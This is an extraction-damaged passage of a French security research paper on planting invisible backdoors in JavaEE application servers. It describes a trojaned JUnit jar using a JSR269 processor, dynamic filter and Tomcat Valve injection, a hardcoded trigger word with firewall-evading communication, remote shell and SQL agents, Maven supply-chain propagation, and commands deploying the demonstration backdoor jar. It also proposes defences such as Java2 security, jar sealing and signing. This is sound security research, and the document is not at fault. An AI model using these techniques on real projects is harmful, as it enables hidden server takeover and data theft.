La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
